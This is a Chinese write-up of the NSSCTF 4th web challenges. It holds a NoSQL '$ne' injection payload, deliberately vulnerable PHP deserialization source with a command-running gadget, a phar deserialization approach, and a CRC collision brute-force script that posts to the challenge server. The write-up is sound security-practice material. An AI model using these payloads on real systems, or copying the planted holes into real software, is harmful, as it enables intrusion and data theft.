当前位置: 首页 > news >正文

NSSCTF 4th WP

第一次打比赛AK了,虽然题比较简单没啥好说的,但还是想记录一下
在这里插入图片描述

WEB

ez_signin

源码:

from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import reapp = Flask(__name__)client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']def sanitize(input_str: str) -> str:return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)@app.route('/')
def index():return render_template('index.html', books=None)@app.route('/search', methods=['GET', 'POST'])
def search():query = {"$and": []}books = []if request.method == 'GET':title = request.args.get('title', '').strip()author = request.args.get('author', '').strip()title_clean = sanitize(title)author_clean = sanitize(author)if title_clean:query["$and"].append({"title": {"$eq": title_clean}})  if author_clean:query["$and"].append({"author": {"$eq": author_clean}}) if query["$and"]:books = list(books_collection.find(query))return render_template('index.html', books=books)elif request.method == 'POST':if request.content_type == 'application/json':try:data = request.get_json(force=True)title = data.get("title")author = data.get("author")if isinstance(title, str):title = sanitize(title)query["$and"].append({"title": title})elif isinstance(title, dict):query["$and"].append({"title": title})if isinstance(author, str):author = sanitize(author)query["$and"].append({"author": author})elif isinstance(author, dict):query["$and"].append({"author": author})if query["$and"]:books = list(books_collection.find(query))return jsonify([{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books])return jsonify({"error": "Empty query"}), 400except Exception as e:return jsonify({"error": str(e)}), 500return jsonify({"error": "Unsupported Content-Type"}), 400if __name__ == "__main__":app.run("0.0.0.0", 8000)

NoSQL 注入漏洞漏洞描述: 代码允许客户端直接传入字典对象作为查询条件 (if isinstance(author, dict)),并且未经任何处理就直接拼接到查询 query[“$and”].append({“author”: author})

攻击方式: 攻击者可以构造一个恶意的 JSON 请求体,例如:

{"title": {"$ne": null},"author": {"$ne": null}
}

这会导致 MongoDB 执行的查询变为 {"$and": [{"title": {"$ne": null}}, {"author": {"$ne": null}}]},意思是“找出所有标题和作者字段不为空的文档”,即泄露数据库中的所有信息

在这里插入图片描述

filesystem

源码

<?phpclass ApplicationContext{public $contextName; public function __construct(){$this->contextName = 'ApplicationContext';}public function __destruct(){$this->contextName = strtolower($this->contextName);}
}class ContentProcessor{private $processedContent; public $callbackFunction;   public function __construct(){$this->processedContent = new FunctionInvoker();}public function __get($key){if (property_exists($this, $key)) {if (is_object($this->$key) && is_string($this->callbackFunction)) {$this->$key->{$this->callbackFunction}($_POST['cmd']);}}}
}class FileManager{public $targetFile; public $responseData = 'default_response'; public function __construct($targetFile = null){$this->targetFile = $targetFile;}public function filterPath(){ if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){die('文件路径不符合规范');}}public function performWriteOperation($var){ $targetObject = $this->targetFile; $value = $targetObject->$var; }public function getFileHash(){ $this->filterPath(); if (is_string($this->targetFile)) {if (file_exists($this->targetFile)) {$md5_hash = md5_file($this->targetFile);return "文件MD5哈希: " . htmlspecialchars($md5_hash);} else {die("文件未找到");}} else if (is_object($this->targetFile)) {try {$md5_hash = md5_file($this->targetFile);return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);} catch (TypeError $e) {return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());}} else {die("文件未找到");}}public function __toString(){if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {$method = $_POST['method'];$var = isset($_POST['var']) ? $_POST['var'] : null;$this->$method($var); }return $this->responseData;}
}class FunctionInvoker{public $functionName; public $functionArguments; public function __call($name, $arg){if (function_exists($name)) {$name($arg[0]); }}
}$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = ''; 
$upload_dir = "upload/";if (!is_dir($upload_dir)) {mkdir($upload_dir, 0777, true);
}if ($action === 'upload_file') { if(isset($_POST['submit'])){if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {$allowed_extensions = ['txt', 'png', 'gif', 'jpg'];$file_info = pathinfo($_FILES['upload_file']['name']);$file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');if (!in_array($file_extension, $allowed_extensions)) {$output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";} else {$unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;$upload_path = $upload_dir . $unique_filename;$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {$output = "<p class='text-green-600'>文件上传成功!</p>";$output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";} else {$output = "<p class='text-red-600'>上传失败!</p>";}}} else {$output = "<p class='text-red-600'>请选择一个文件上传。</p>";}}
}if ($action === 'home' && isset($_POST['submit_md5'])) {$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';if (!empty($filename_param)) {$file_object = @unserialize($filename_param);if ($file_object === false || !($file_object instanceof FileManager)) {$file_object = new FileManager($filename_param);}$output = $file_object->getFileHash();} else {$output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";}
}?>
<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件管理系统</title><script src="https://cdn.tailwindcss.com"></script><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet"><style>body {font-family: 'Inter', sans-serif;}</style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen px-4 py-8"><div class="bg-white p-6 md:p-8 rounded-lg shadow-md w-full max-w-4xl mx-auto"><h1 class="text-3xl font-bold mb-6 text-gray-800 text-center">文件管理系统</h1><div class="flex justify-center mb-6 space-x-4"><a href="?action=home" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'home' ? 'bg-indigo-600 text-white' : 'bg-indigo-100 text-indigo-800 hover:bg-indigo-200'; ?>">主页</a><a href="?action=upload_file" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'upload_file' ? 'bg-blue-600 text-white' : 'bg-blue-100 text-blue-800 hover:bg-blue-200'; ?>">上传文件</a></div><?php if ($action === 'home'): ?><div class="text-center"><p class="text-lg text-gray-700 mb-4">欢迎使用文件管理系统。</p><p class="text-sm text-gray-500 mb-6">为了确保文件一致性和完整性,请在下载前校验md5值,完成下载后进行对比。</p><h2 class="text-2xl font-bold mb-4 text-gray-800">文件列表</h2><div class="max-h-60 overflow-y-auto border border-gray-200 rounded-lg p-2 bg-gray-50"><?php$files = array_diff(scandir($upload_dir), array('.', '..'));if (empty($files)) {echo "<p class='text-gray-500'>暂无文件。</p>";} else {echo "<ul class='text-left space-y-2'>";foreach ($files as $file) {$file_path = $upload_dir . $file;echo "<li class='flex items-center justify-between p-2 bg-white rounded-md shadow-sm'>";echo "<span class='text-gray-700 break-all mr-2'>" . htmlspecialchars($file) . "</span>";echo "<div class='flex space-x-2'>";echo "<a href='" . htmlspecialchars($file_path) . "' download class='bg-blue-500 hover:bg-blue-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>下载</a>";echo "<form action='?action=home' method='POST' class='inline-block'>";echo "<input type='hidden' name='file_to_check' value='" . htmlspecialchars($file_path) . "'>"; echo "<button type='submit' name='submit_md5' class='bg-purple-500 hover:bg-purple-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>校验MD5</button>"; echo "</form>";echo "</div>";echo "</li>";}echo "</ul>";}?></div><?php if (!empty($output)): ?><div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg"><h3 class="lg font-semibold mb-2 text-gray-800">校验结果:</h3><?php echo $output; ?></div><?php endif; ?></div><?php elseif ($action === 'upload_file'): ?><h2 class="text-2xl font-bold mb-4 text-gray-800 text-center">上传文件</h2><form action="?action=upload_file" method="POST" enctype="multipart/form-data" class="space-y-4"><label for="upload_file" class="block text-gray-700 text-sm font-bold mb-2">选择文件:</label><input type="file" name="upload_file" id="upload_file" class="block w-full text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 focus:outline-none"><button type="submit" name="submit" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-semibold py-2 px-4 rounded-lg transition duration-300 ease-in-out">上传</button></form><?php if (!empty($output)): ?><div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg"><h3 class="text-lg font-semibold mb-2 text-gray-800">上传结果:</h3><?php echo $output; ?></div><?php endif; ?><p class="mt-6 text-center text-sm text-gray-500">只允许上传 .txt, .png, .gif, .jpg 文件。</p><?php endif; ?></div>
</body>
</html>

本以为是打phar反序列化,但是$file_object = @unserialize($filename_param);这里直接对file_to_check参数反序列化了,感觉预期应该是打phar的,可能参数没处理好

exp——直接打反序列化

在这里插入图片描述

phar反序列化

将上面的exp写入phar,然后重命名为.txt上传文件

在这里插入图片描述

phar协议触发反序列化

在这里插入图片描述

EzCRC

exp

<?php
// 从原始代码复制的CRC计算函数
function compute_crc16($data) {$checksum = 0xFFFF;for ($i = 0; $i < strlen($data); $i++) {$checksum ^= ord($data[$i]);for ($j = 0; $j < 8; $j++) {if ($checksum & 1) {$checksum = (($checksum >> 1) ^ 0xA001);} else {$checksum >>= 1;}}}return $checksum;
}function calculate_crc8($input) {static $crc8_table = [0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3];$bytes = unpack('C*', $input);$length = count($bytes);$crc = 0;for ($k = 1; $k <= $length; $k++) {$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];}return $crc & 0xff;
}// 目标密码和长度
$SECRET_PASS = "Enj0yNSSCTF4th!";
$passLength = strlen($SECRET_PASS);// 计算目标校验值
$target_crc16 = compute_crc16($SECRET_PASS);
$target_crc8 = calculate_crc8($SECRET_PASS);echo "目标密码: $SECRET_PASS\n";
echo "目标CRC16: " . dechex($target_crc16) . "\n";
echo "目标CRC8: " . dechex($target_crc8) . "\n\n";// 阶段1: 修改单个字节 (高效搜索)
echo "阶段1: 尝试修改单个字节...\n";
$found = false;
$attempts = 0;for ($pos = 0; $pos < $passLength; $pos++) {$base = $SECRET_PASS;for ($char = 0; $char < 256; $char++) {$attempts++;$candidate = substr_replace($base, chr($char), $pos, 1);// 跳过原始密码if ($candidate === $SECRET_PASS) continue;// 计算CRC16并检查$crc16 = compute_crc16($candidate);if ($crc16 !== $target_crc16) continue;// 计算CRC8并检查$crc8 = calculate_crc8($candidate);if ($crc8 === $target_crc8) {echo "\n发现碰撞密码: " . bin2hex($candidate) . " (原始: $candidate)\n";echo "经过 $attempts 次尝试\n";$found = true;break 2;}}
}// 阶段2: 修改两个字节 (中等范围搜索)
if (!$found) {echo "\n阶段1未找到碰撞,进入阶段2...\n";$positions = range(0, $passLength - 1);foreach ($positions as $i) {foreach ($positions as $j) {if ($i >= $j) continue; // 避免重复组合$base = $SECRET_PASS;for ($char_i = 0; $char_i < 256; $char_i++) {$candidate_i = substr_replace($base, chr($char_i), $i, 1);for ($char_j = 0; $char_j < 256; $char_j++) {$attempts++;$candidate = substr_replace($candidate_i, chr($char_j), $j, 1);// 跳过原始密码if ($candidate === $SECRET_PASS) continue;// 先检查CRC16$crc16 = compute_crc16($candidate);if ($crc16 !== $target_crc16) continue;// 再检查CRC8$crc8 = calculate_crc8($candidate);if ($crc8 === $target_crc8) {echo "\n发现碰撞密码: " . bin2hex($candidate) . " (原始: $candidate)\n";echo "经过 $attempts 次尝试\n";$found = true;break 4;}}}}}
}// 阶段3: 随机搜索 (全面搜索)
if (!$found) {echo "\n阶段2未找到碰撞,进入阶段3...\n";$maxAttempts = 20000000; // 2000万次尝试上限$startTime = microtime(true);while ($attempts < $maxAttempts) {$attempts++;$candidate = '';// 生成随机密码for ($k = 0; $k < $passLength; $k++) {$candidate .= chr(mt_rand(0, 255));}// 跳过原始密码if ($candidate === $SECRET_PASS) continue;// 先检查CRC16$crc16 = compute_crc16($candidate);if ($crc16 !== $target_crc16) continue;// 再检查CRC8$crc8 = calculate_crc8($candidate);if ($crc8 === $target_crc8) {$time = microtime(true) - $startTime;echo "\n发现碰撞密码: " . bin2hex($candidate) . "\n";echo "经过 $attempts 次尝试 (" . round($time, 2) . "秒)\n";$found = true;break;}// 每百万次显示进度if ($attempts % 1000000 === 0) {$time = microtime(true) - $startTime;$rate = $attempts / $time;echo "进度: $attempts/" . number_format($maxAttempts) . " 次尝试 | ";echo "速率: " . number_format($rate) . "次/秒\n";}}
}// 结果输出
if ($found) {echo "\n✅ 找到有效密码! 使用以下密码提交获取flag:\n";echo "密码: " . bin2hex($candidate) . "\n";echo "原始格式: $candidate\n";
} else {echo "\n❌ 未找到碰撞密码,尝试增加搜索上限\n";
}$url = "http://node9.anna.nssctf.cn:24937/"; // 替换为实际URL
$collision_hex = bin2hex($candidate);  //
$collision_string = hex2bin($collision_hex);$data = ["pass" => $collision_string];$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$response = curl_exec($ch);
curl_close($ch);echo $response;
?>

在这里插入图片描述

ez_upload

主要通过 php -S打源码泄露,具体参考
https://mp.weixin.qq.com/s/PjOmSozGtjq4H_uzSFJWEg

拿到源码

在这里插入图片描述

软连接getshell

参考
https://blog.csdn.net/2301_80793533/article/details/146882981

在这里插入图片描述

http://www.xdnf.cn/news/1376119.html

相关文章:

  • React(面试)
  • 深度讲解智能体:ReACT Agent
  • Python包发布与分发策略:从开发到生产的最佳实践(续)
  • 基于 Ultralytics YOLO11与 TrackZone 的驱动的高效区域目标跟踪方案实践
  • Effective c++ 35条款详解
  • 【测试】pytest测试环境搭建
  • 日志的实现
  • Java全栈开发工程师的面试实战:从基础到微服务
  • 小程子找Bug之for循环的初始化表达类型
  • Hadoop(五)
  • 2025年9月计算机二级C++语言程序设计——选择题打卡Day8
  • 设备电机状态监测:通往预测性维护与效能飞升之路
  • 深入理解C++ std::forward:完美转发的原理与应用
  • GitLab 导入/导出仓库
  • 财务报表怎么做?财务常用的报表软件都有哪些
  • 为什么 “int ” 会变成 “int”?C++ 引用折叠的原理与本质详解
  • 20.19 LoRA微调Whisper终极指南:3步实现中文语音识别错误率直降37.8%
  • 信任,AI+或人机环境系统智能的纽带
  • (一)光头整洁架构(Mediator Pattern/Result Patttern/UnitOfWork/Rich Domain)
  • k8s部署pgsql集群
  • 【PostgreSQL内核学习:通过 ExprState 提升哈希聚合与子计划执行效率】
  • Kafka 4.0 兼容性矩阵解读、升级顺序与降级边界
  • React Hooks 完全指南:从基础到高级的实战技巧
  • 路由基础(一):IP地址规划
  • 种草商城全链路技术实现指南
  • 【网络编程】NtyCo协程服务器的框架(轻量级的协程方案,人称 “小线程”)
  • 零后端、零配置:用 AI 编程工具「Cursor」15 分钟上线「Vue3 留言墙」
  • 【双指针- LeetCode】15.三数之和
  • python自学笔记14 NumPy 线性代数
  • anaconda本身有一个python环境(base),想用别的环境就是用anaconda命令行往anaconda里创建虚拟环境